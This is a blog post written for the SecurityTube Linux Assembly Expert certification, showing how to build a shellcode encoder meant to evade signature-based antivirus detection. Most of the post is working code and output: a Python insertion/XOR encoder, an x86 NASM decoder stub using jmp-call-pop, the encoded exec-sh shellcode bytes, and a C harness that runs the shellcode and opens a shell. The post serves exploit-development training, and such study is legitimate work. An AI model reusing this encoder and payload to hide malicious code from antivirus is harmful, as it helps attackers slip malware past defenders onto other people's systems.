SLAE 4: Custom encoder for bypassing signature based detection

Programming / January 24, 2020 • 5 min read

Malware detection techniques has improved a lot over the years. Today companies are investing in machine learning methods for detecting malware, which sounds pretty cool if you ask me. However, there is one method that has been used since the first anti-virus software, which is signature based detection.

When disassembling a program you can analyze the assembly instructions in order to understand the program from the lowest level. It’s also possible from the assembly code to identify a set of unique instructions that identifies a specific program. These unique instructions form the signature. The instructions can be anything that identifies a specific and unique behaviour in the program. An example could be a decryption routine that identifies a decryption stub used for decrypting shellcode.

How do we bypass signature detections? Well, we change the signature. You either do this manually or you write an encoder which takes shellcode as input and outputs an encoded shellcode, which as zero known signatures for it. In this article, I will present a very easy and trivial encoding scheme for hiding from AVs :)

The Algorithm

The scheme I have chosen is a simple insertion encoder with XOR twist. Given a piece of shellcode, the encoder will generate a random value K_n between 1-255 for each shellcode byte S_n. Each random value will be XORed with with each shellcode byte, like so: K₁ ^ S₁ = R₁. The original shellcode will be modified to include the random value as a prefix for the now encoded shellcode byte. The final shellcode can be seen as:

[K1][R1][K2][R2][K3][R3]...[KN][RN]

Even though it is a trivial obfuscation technique, it has some drawbacks:

It will double the shellcode length
Once the shellcode has been decoded, a bunch of garbage data will exist following the shellcode. This means that if your shellcode does not return, the garbage data will be executed which leads to a segfault.

However, for demonstrating how bypassing signature detection can look like, this method will suffice.

The Encoder

I have chosen to write the encoder in Python because it’s very easy to implement these kinds of scripts with it.

 1import sys
 2import random
 3
 4def encode(shellcode):
 5    """
 6    shellcode: string
 7
 8    returns: string
 9    """
10    shellcode_output = ""
11    shellcode_list = []
12    for i in shellcode.split("\\")[1:]:
13        xor_key = random.randint(1,254)
14        hex_key = hex(xor_key)
15        byte = int(i.replace("x", "0x"), 16)
16        shellcode_list.append(hex_key)
17        shellcode_list.append(hex(xor_key ^ byte))
18
19    return ",".join(shellcode_list)
20
21def decode(encoded_shellcode):
22    """decode()
23    encoded_shellcode: string
24
25    returns: string
26    """
27    shellcode_list = encoded_shellcode.split(",")
28    it = iter(shellcode_list)
29    decoded_shellcode = []
30    for x in it:
31        decoded_shellcode.append(hex(int(x, 16) ^ int(next(it), 16)))
32    return ",".join(decoded_shellcode)
33
34def main(shellcode):
35    """main()
36    shellcode: string
37    """
38    orginal_shellcode = r"{}".format(shellcode)
39    new_shellcode = encode(orginal_shellcode)
40    print("[+] Your encoded shellcode: ")
41    print(new_shellcode)
42    print("\n[+] Decoded shellcode:")
43    decoded_shellcode = decode(new_shellcode)
44    print(decoded_shellcode)
45    assert decoded_shellcode.replace("0x","\\x").replace(",","") == orginal_shellcode.replace("\\x0", "\\x")
46
47
48if __name__ == "__main__":
49    if len(sys.argv) < 2:
50        print("Usage: python3 wrapper.py <shellcode>")
51        sys.exit(0)
52
53    if len(sys.argv) == 2:
54        main(sys.argv[1])

To use the program, simply input your shellcode and receive the encoded version:

dubs3c@slae:~/SLAE/EXAM/github/assignment_4$ python3 wrapper.py "\xfc\xbb\x1b\x91\xcd\xc8\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x2a\x43\x9f\xa0\x22\x4c\x53\x59\xd2\xbd\xbc\xfb\x4b\x4b\x21\xca\x42\x7a\x66\x9d\x5f\xb0\xe6\xde\x5f\x4a\xe7\xde"
[+] Your encoded shellcode:
0x77,0x8b,0x4a,0xf1,0xdb,0xc0,0x5,0x94,0xe7,0x2a,0x43,0x8b,0x93,0x78,0x73,0x7f,0x38,0x66,0xe5,0xb3,0x14,0x25,0x2d,0x33,0x6b,0xc6,0xc5,0xc4,0x56,0x95,0x8d,0x8,0x2f,0xef,0xd,0x78,0x9f,0x68,0x7a,0xb9,0xd7,0x3f,0xf5,0x1a,0xba,0x45,0x2,0xfd,0x93,0x6c,0xe3,0xc9,0xee,0xad,0x93,0xc,0xb5,0x15,0xe3,0xc1,0xe,0x42,0xbd,0xee,0xf8,0xa1,0xaf,0x7d,0x65,0xd8,0x24,0x98,0x86,0x7d,0xb1,0xfa,0xf8,0xb3,0x96,0xb7,0x2a,0xe0,0x27,0x65,0x69,0x13,0x3a,0x5c,0x55,0xc8,0x1,0x5e,0x59,0xe9,0x7a,0x9c,0xd7,0x9,0xb2,0xed,0xc5,0x8f,0xd4,0x33,0xfa,0x24

[+] Decoded shellcode:
0xfc,0xbb,0x1b,0x91,0xcd,0xc8,0xeb,0xc,0x5e,0x56,0x31,0x1e,0xad,0x1,0xc3,0x85,0xc0,0x75,0xf7,0xc3,0xe8,0xef,0xff,0xff,0xff,0x2a,0x43,0x9f,0xa0,0x22,0x4c,0x53,0x59,0xd2,0xbd,0xbc,0xfb,0x4b,0x4b,0x21,0xca,0x42,0x7a,0x66,0x9d,0x5f,0xb0,0xe6,0xde,0x5f,0x4a,0xe7,0xde
dubs3c@slae:~/SLAE/EXAM/github/assignment_4$

The shellcode used in the example above is a simple exec-sh shellcode which will drop into an sh shell.

Writing the decoder stub

It’s time to write the decoder stub. The following is a simple program for looping through the shellcode, XORing bytes and reconstructing the original shellcode.

 1;-------------------------------------
 2;
 3; Author: dubs3c
 4;
 5; Purpose:
 6; Insertion Encoder, hide from AV :)
 7;
 8;-------------------------------------
 9
10global _start
11
12section .text
13_start:
14    jmp short call_shellcode        ; jmp-call-pop method
15
16decoder:
17    pop esi                         ; Get the address of EncodedShellcode
18    lea edi, [esi + 1]              ; edi points to the next byte
19    xor eax, eax                    ; zero out register
20    xor ebx, ebx                    ; zero out register
21    xor edx, edx                    ; zero out register
22    xor ecx, ecx                    ; zero out register
23
24decode:
25    mov bl, byte [esi + eax]        ; Get the byte at esi + eax
26    xor bl, 0xaa                    ; XOR with 0xaa to check if we are at the end of the shellcode
27    jz short EncodedShellcode       ; If we are at the end, we are done, jump to shellcode
28    mov dl, byte [esi + eax]        ; Get the byte at esi + eax
29    mov bl, byte [esi + eax + 1]    ; Get the byte at esi + eax + 1
30    xor dl, bl                      ; XOR to get orignal shellcode byte
31    mov byte [esi + ecx], dl        ; Overwrite EncodedShellcode at byte esi + ecx with the result
32    add al, 2                       ; Add 2 to eax to jump to the next pair of bytes
33    inc ecx                         ; increment ecx which byte to overwrite in EncodedShellcode
34    jmp short decode                ; loop back to decode
35
36call_shellcode:
37    call decoder
38    EncodedShellcode: db 0x1,0xfd,0xa2,0x19,0x60,0x7b,0x7d,0xec,0xac,0x61,0xac,0x64,0x31,0xda,0x2b,0x27,0xb1,0xef,0xd,0x5b,0x66,0x57,0xa5,0xbb,0xc7,0x6a,0xac,0xad,0x41,0x82,0x7a,0xff,0x5,0xc5,0xf4,0x81,0xf1,0x6,0x99,0x5a,0x54,0xbc,0xac,0x43,0x28,0xd7,0x4,0xfb,0x1b,0xe4,0x11,0x3b,0x35,0x76,0xdc,0x43,0x57,0xf7,0x4f,0x6d,0xe1,0xad,0xd7,0x84,0x6c,0x35,0x62,0xb0,0x7b,0xc6,0x7f,0xc3,0x80,0x7b,0x1f,0x54,0x45,0xe,0xa9,0x88,0x97,0x5d,0x84,0xc6,0xe9,0x93,0x6c,0xa,0x6f,0xf2,0x7a,0x25,0xe0,0x50,0x88,0x6e,0x3b,0xe5,0x56,0x9,0x6f,0x25,0xae,0x49,0xe3,0x3d,0xaa,0xaa

The program can be assembled with nasm:

1nasm -f elf32 -o build/ass4.o ass4.nasm
2ld -z execstack -N -o build/ass4 build/ass4.o

Because I have specified the -N option, the code section is now writable and we can run the executable.

1dubs3c@slae:~/SLAE/EXAM/github/assignment_4$ ./build/ass4
2$ whoami
3dubs3c
4$

We can also convert this program into shellcode and use it in e.g. a stager:

1dubs3c@slae:~/SLAE/EXAM/github/assignment_4$ objdump -d ./build/ass4|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
2"\xeb\x25\x5e\x8d\x7e\x01\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x8a\x1c\x06\x80\xf3\xaa\x74\x16\x8a\x14\x06\x8a\x5c\x06\x01\x30\xda\x88\x14\x0e\x04\x02\x41\xeb\xe7\xe8\xd6\xff\xff\xff\x01\xfd\xa2\x19\x60\x7b\x7d\xec\xac\x61\xac\x64\x31\xda\x2b\x27\xb1\xef\x0d\x5b\x66\x57\xa5\xbb\xc7\x6a\xac\xad\x41\x82\x7a\xff\x05\xc5\xf4\x81\xf1\x06\x99\x5a\x54\xbc\xac\x43\x28\xd7\x04\xfb\x1b\xe4\x11\x3b\x35\x76\xdc\x43\x57\xf7\x4f\x6d\xe1\xad\xd7\x84\x6c\x35\x62\xb0\x7b\xc6\x7f\xc3\x80\x7b\x1f\x54\x45\x0e\xa9\x88\x97\x5d\x84\xc6\xe9\x93\x6c\x0a\x6f\xf2\x7a\x25\xe0\x50\x88\x6e\x3b\xe5\x56\x09\x6f\x25\xae\x49\xe3\x3d\xaa\xaa"

The shellcode could be embedded in a simple C program that will execute the decoder program, containing our exec-sh shellcode.

 1#include<stdio.h>
 2#include<string.h>
 3
 4
 5unsigned char shellcode[] = "\xeb\x25\x5e\x8d\x7e\x01\x31\xc0\x31\xdb\x31\xd2\x31\xc9\x8a\x1c\x06\x80\xf3\xaa\x74\x16\x8a\x14\x06\x8a\x5c\x06\x01\x30\xda\x88\x14\x0e\x04\x02\x41\xeb\xe7\xe8\xd6\xff\xff\xff\x01\xfd\xa2\x19\x60\x7b\x7d\xec\xac\x61\xac\x64\x31\xda\x2b\x27\xb1\xef\x0d\x5b\x66\x57\xa5\xbb\xc7\x6a\xac\xad\x41\x82\x7a\xff\x05\xc5\xf4\x81\xf1\x06\x99\x5a\x54\xbc\xac\x43\x28\xd7\x04\xfb\x1b\xe4\x11\x3b\x35\x76\xdc\x43\x57\xf7\x4f\x6d\xe1\xad\xd7\x84\x6c\x35\x62\xb0\x7b\xc6\x7f\xc3\x80\x7b\x1f\x54\x45\x0e\xa9\x88\x97\x5d\x84\xc6\xe9\x93\x6c\x0a\x6f\xf2\x7a\x25\xe0\x50\x88\x6e\x3b\xe5\x56\x09\x6f\x25\xae\x49\xe3\x3d\xaa\xaa"; 
 6
 7main()
 8{
 9        printf("Shellcode length:  %d\n", strlen(shellcode));
10        int (*ret)() = (int(*)())shellcode;
11        ret();
12}

The program can be compiled like this:

dubs3c@slae:~/SLAE/EXAM/github/assignment_4$ gcc -fno-stack-protector -z execstack shellcode.c -o build/shellcode
dubs3c@slae:~/SLAE/EXAM/github/assignment_4$ ./build/shellcode
Shellcode length:  152
$ whoami
dubs3c
$

That’s it, we have created a simple encoder for automatically changing the signature of our shellcode.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-1490